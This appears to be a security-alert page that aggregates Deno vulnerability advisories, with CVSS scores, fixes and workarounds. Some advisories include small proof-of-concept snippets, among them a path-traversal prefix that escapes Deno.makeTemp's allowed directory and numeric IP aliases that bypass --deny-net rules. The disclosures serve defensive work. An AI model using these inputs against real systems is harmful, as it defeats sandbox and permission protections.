Deno is a JavaScript, TypeScript, and WebAssembly runtime with secure defaults. By using ANSI escape sequences and a race between libc::tcflush(0, libc::TCIFLUSH) and reading standard input, it's possible to manipulate the permission prompt and force it to allow an unsafe action regardless of the user input. Some ANSI escape sequences act as a info request to the master terminal emulator and the terminal emulator sends back the reply in the PTY channel. standard streams also use this channel to send and get data. For example the \033[6n sequence requests the current cursor position. These sequences allow us to append data to the standard input of Deno. This vulnerability allows an attacker to bypass Deno permission policy. This vulnerability is fixed in 1.42.2.

First published (updated )
Severity
7.7
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Summary

This affects AES-256-GCM and AES-128-GCM in Deno, introduced by commit 0d1beed. Specifically, the authentication tag is not being validated. This means tampered ciphertexts or incorrect keys might not be detected, which breaks the guarantees expected from AES-GCM. Older versions of Deno correctly threw errors in such cases, as does Node.js.

Without authentication tag verification, AES-GCM degrades to essentially CTR mode, removing integrity protection. Authenticated data set with setaad is also affected, as it is incorporated into the GCM hash (ghash) but this too is not validated, rendering AAD checks ineffective.

PoC

ts import { Buffer } from "node:buffer"; import { createCipheriv, createDecipheriv, randomBytes, scrypt, } from "node:crypto";

type Encrypted = { salt: string; iv: string; enc: string; authTag: string; };

const deriveKey = (key: string, salt: Buffer) => new Promise<Buffer>((res, rej) => scrypt(key, salt, 32, (err, k) => { if (err) rej(err); else res(k); }) );

async function encrypt(text: string, key: string): Promise<Encrypted> { const salt = randomBytes(32); const k = await deriveKey(key, salt);

const iv = randomBytes(16); const enc = createCipheriv("aes-256-gcm", k, iv); const ciphertext = enc.update(text, "binary", "binary") + enc.final("binary");

return { salt: salt.toString("binary"), iv: iv.toString("binary"), enc: ciphertext, authTag: enc.getAuthTag().toString("binary"), }; }

async function decrypt(enc: Encrypted, key: string) { const k = await deriveKey(key, Buffer.from(enc.salt, "binary")); const dec = createDecipheriv("aes-256-gcm", k, Buffer.from(enc.iv, "binary"));

const out = dec.update(enc.enc, "binary", "binary"); dec.setAuthTag(Buffer.from(enc.authTag, "binary")); return out + dec.final("binary"); }

const test = await encrypt("abcdefghi", "key"); test.enc = ""; console.log(await decrypt(test, "")); // no error

Impact

While discovered through experimentation, authentication failures that should raise errors may be silently ignored.

1 / 2
Source: GitHub
First published (updated )
Severity
7.6
Infoleak
AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:L/A:L

An issue in .npmrc support in Deno 1.44.0 was discovered where Deno would send .npmrc credentials for the scope to the tarball URL when the registry provided URLs for a tarball on a different domain. All users relying on .npmrc are potentially affected by this vulnerability if their private registry references tarball URLs at a different domain. This includes usage of deno install subcommand, auto-install for npm: specifiers and LSP usage. It is recommended to upgrade to Deno 1.44.1 and if your private registry ever serves tarballs at a different domain to rotate your registry credentials.

First published (updated )
Severity
7.5
Race Condition
CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H

Deno is a runtime for JavaScript and TypeScript that uses V8 and is built in Rust. Multi-threaded programs were able to spoof interactive permission prompt by rewriting the prompt to suggest that program is waiting on user confirmation to unrelated action. A malicious program could clear the terminal screen after permission prompt was shown and write a generic message. This situation impacts users who use Web Worker API and relied on interactive permission prompt. The reproduction is very timing sensitive and can’t be reliably reproduced on every try. This problem can not be exploited on systems that do not attach an interactive prompt (for example headless servers). The problem has been fixed in Deno v1.29.3; it is recommended all users update to this version. Users are advised to upgrade. Users unable to upgrade may run with --no-prompt flag to disable interactive permission prompts.

First published (updated )
Severity
7.5
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Versions of the package deno before 1.31.0 are vulnerable to Regular Expression Denial of Service (ReDoS) due to the upgradeWebSocket function, which contains regexes in the form of /s,s/, used for splitting the Connection/Upgrade header. A specially crafted Connection/Upgrade header can be used to significantly slow down a web socket server.

1 / 2
First published (updated )
Severity
7.4
AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N

Summary

node:crypto.checkPrime(candidate[, options][, callback]) and crypto.checkPrimeSync(candidate[, options]) ran no Miller-Rabin rounds at all when the caller left options.checks at its default of 0. In that mode, the only test applied to the candidate was trial division by the primes up to 17,863. Any composite whose smallest prime factor exceeds that bound — for example the product of two primes just above it, such as 17,881 × 17,891 — was reported as true ("probably prime").

The same divergence affected the lower-level opnodecheckprime / opnodecheckprimebytes paths that the polyfill calls into.

Node.js itself does not have this problem: it forwards checks = 0 to OpenSSL's BNcheckprime, which substitutes a sensible default number of rounds based on the candidate's bit length (per FIPS 186-4 Appendix C.3 Table C.1). Deno's Rust implementation had no equivalent fallback, so count = 0 meant "skip the loop entirely."

Affected APIs

- crypto.checkPrime(candidate) (callback form, default options) - crypto.checkPrime(candidate, { checks: 0 }, callback) - crypto.checkPrimeSync(candidate) (default options) - crypto.checkPrimeSync(candidate, { checks: 0 })

Callers who explicitly passed checks >= 1 were less affected, the loop ran the number of rounds they asked for, but were still receiving fewer rounds than Node would have applied for the same bit length. With the patched version they get at least the FIPS minimum.

Not affected

- Deno's prime generation (crypto.generatePrime, crypto.generatePrimeSync, and the DH parameter generation path). Those routes go through Prime::generatewithoptions in ext/nodecrypto/primes.rs, which hardcodes 20 Miller-Rabin rounds and never reads a user-controlled checks value, so the bug never reached them. - Any other Deno-internal use of primality testing — isprobablyprime is not called from elsewhere in the runtime with count = 0. - Web Crypto (crypto.subtle.), which uses entirely separate code paths and does not expose a primality test.

Impact

The realistic exposure is application-level: a Deno program that calls crypto.checkPrime (or its sync variant) with default options to validate an externally-supplied bignum, for example checking a peer-provided Diffie-Hellman prime, validating a prime read from configuration, or sanity-checking an RSA factor, will accept crafted composites as prime. The composite is trivial to construct: any product of two primes greater than 17,863 works.

Downstream consequences depend on what the program does with the "verified" prime. If the prime is fed into a key exchange, signature verification, or factorization-style check, the security guarantees of that protocol collapse to whatever the attacker engineered into the composite.

The CVSS impact is bounded by the requirement that the victim application both (a) calls checkPrime with default options and (b) acts on the result for security-relevant input it does not control.

Reproduction

ts import { checkPrimeSync } from "node:crypto";

// 17881 and 17891 are both prime and both above the trial-division // ceiling used by Deno's implementation. const composite = 17881n 17891n;

// Affected versions print true; the patched version prints false. console.log(checkPrimeSync(composite));

The same result is reproducible from Rust against the internal helper:

rust use numbigint::BigInt; let composite = BigInt::from(17881u32) BigInt::from(17891u32); assert!(!isprobablyprime(&composite, 0)); // fails on affected versions

Fix

PR #34391 introduces a helper minmillerrabinroundsforbits(bits) that returns the FIPS 186-4 Appendix C.3 round counts, matching the defaults OpenSSL uses inside BNcheckprime. isprobablyprime then clamps the loop bound to count.max(minmillerrabinroundsforbits(n.bits())). The probabilistic loop now always executes, regardless of what checks value the caller supplied, with a round count strong enough to keep the false-positive probability below 2^-80. Callers that pass a larger explicit checks still get exactly that many rounds.

Unit tests under ext/nodecrypto/primes.rs cover the 17,881 × 17,891 case, a larger 64-bit composite, and the FIPS lookup table itself.

Workarounds

If you cannot upgrade immediately:

- Pass an explicit checks value when calling crypto.checkPrime or crypto.checkPrimeSync. A value of 64 is conservative for any reasonable bit length and keeps the loop running. - Do not rely on crypto.checkPrime to validate attacker-influenced bignums in security-critical paths until you are on the patched release.

1 / 2
Source: GitHub
First published (updated )
Severity
6.5
EPSS
0.04%
Path Traversal, Input Validation
AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:L/A:N

Impact

Insufficient validation of parameters in Deno.makeTemp APIs would allow for creation of files outside of the allowed directories. This may allow the user to overwrite important files on the system that may affect other systems.

A user may provide a prefix or suffix to a Deno.makeTemp API containing path traversal characters. The permission check would prompt for the base directory of the API, but the final file that was created would be outside of this directory:

$ mkdir /tmp/good $ mkdir /tmp/bad $ deno repl --allow-write=/tmp/good Deno.makeTempFileSync({ dir: "/tmp/bad" }) ┌ ⚠️ Deno requests write access to "/tmp/bad". ├ Requested by Deno.makeTempFile() API. ├ Run again with --allow-write to bypass this prompt. └ Allow? [y/n/A] (y = yes, allow; n = no, deny; A = allow all write permissions) > n ❌ Denied write access to "/tmp/bad". Uncaught PermissionDenied: Requires write access to "/tmp/bad", run again with the --allow-write flag at Object.makeTempFileSync (ext:denofs/30fs.js:176:10) at <anonymous>:1:27 Deno.makeTempFileSync({ dir: "/tmp/good", prefix: "../bad/" }) "/tmp/good/../bad/a9432ef5" $ ls -l /tmp/bad/a9432ef5 -rw-------@ 1 user group 0 Mar 4 09:20 /tmp/bad/a9432ef5

Patches

This is fixed in Deno 1.41.1.

1 / 2
Source: GitHub
First published (updated )
Severity
6.5
AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N

Summary

Deno's network permission model is designed so that --deny-net rules apply to the resolved IP address of a destination, not just the literal string supplied by the caller. That means --deny-net=127.0.0.1 (or --deny-net=127.0.0.0/8) is expected to block any attempt to reach loopback, regardless of how the hostname is spelled.

On affected versions, the Node.js compatibility TCP path checked the permission against the original hostname string before resolution and then did not re-check after resolution. A caller could therefore pass a numeric alias of an IP address (for example the decimal integer 2130706433 or the hex form 0x7f000001, both of which resolve to 127.0.0.1) and reach the denied destination through node:net.connect or node:http.request's { host, port } options form.

The native Deno.connect(), fetch(), and URL-string variants of node:http.request("http://...") were not affected, because they either re-checked permissions after resolution or normalized the hostname through the URL parser before checking.

Proof of concept

Run on Deno 2.7.14, with a local TCP listener on 127.0.0.1:<PORT>:

js import net from "node:net";

// --allow-net + --deny-net=127.0.0.0/8 // (or even --deny-net=127.0.0.1:<PORT>) net.connect({ host: "2130706433", port: PORT }); // CONNECTED ❌ net.connect({ host: "0x7f000001", port: PORT }); // CONNECTED ❌ net.connect({ host: "127.0.0.1", port: PORT }); // denied ✅

The same primitive reached the loopback HTTP listener through node:http when the destination was passed as options rather than as a URL string:

js import http from "node:http";

// options-form host — bypasses the deny rule on affected versions http.request({ hostname: "2130706433", port: PORT, path: "/" }).end();

// URL-string form — correctly denied (URL parser normalizes the host) http.request(http://2130706433:${PORT}/).end();

The server-side log showed the bypassed requests arriving from 127.0.0.1 with the numeric alias preserved in the Host header.

Impact

A program that intentionally allows broad outbound network access but uses --deny-net to carve out protected destinations, typically loopback, private/internal ranges, or cloud-instance metadata IPs, could be made to reach those denied destinations from less-trusted code (a dependency, plugin, or attacker-controlled input) that funnels through node:net.connect({ host }) or node:http.request({ hostname }).

The CVSS vector reflects this as a local-attack-vector, permissions-required confidentiality impact: the attacker needs to be able to run code inside the Deno process, and the demonstrated primitive is "reach an explicitly denied IP." It does not by itself exfiltrate data or execute code; the further impact depends on what the now-reachable endpoint exposes.

The confirmed scope is IPv4 numeric hostname aliases reaching a denied resolved IP through the Node TCPWrap / options-host path. URL strings, node:http2, undici, and IPv6 numeric/mapped-address variants were not exhaustively tested by the reporter.

Not affected

- Programs that do not use --deny-net at all (the bug is specifically about deny rules being bypassed; allow rules were always checked against the original string). - Native Deno networking APIs (Deno.connect, Deno.connectTls, fetch, ...), these already re-checked permissions after resolution as of PR #33203. - URL-string callers such as fetch("http://2130706433/") or node:http.request("http://2130706433/"), the URL parser normalized the hostname to its dotted-quad form before the permission check ran. - Calls that do not provide host/hostname (e.g. connecting by IP literal or by a name that the deny rule already matches verbatim).

Workarounds

If you cannot upgrade immediately, reduce exposure by:

- Preferring an --allow-net allowlist over a --deny-net denylist. An allowlist denies numeric aliases by default because they don't match the listed hostnames; only the destinations you've explicitly permitted can be reached. - Validating untrusted host input before passing it to node:net.connect / node:http.request. Reject hostnames that are purely decimal integers (/^\d+$/) or begin with 0x, as these are the alias forms exploited by the bypass. - Avoiding the Node options-host path for sensitive calls in favour of URL-string forms, which are normalized by the URL parser before the permission check.

1 / 2
Source: GitHub
First published (updated )

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203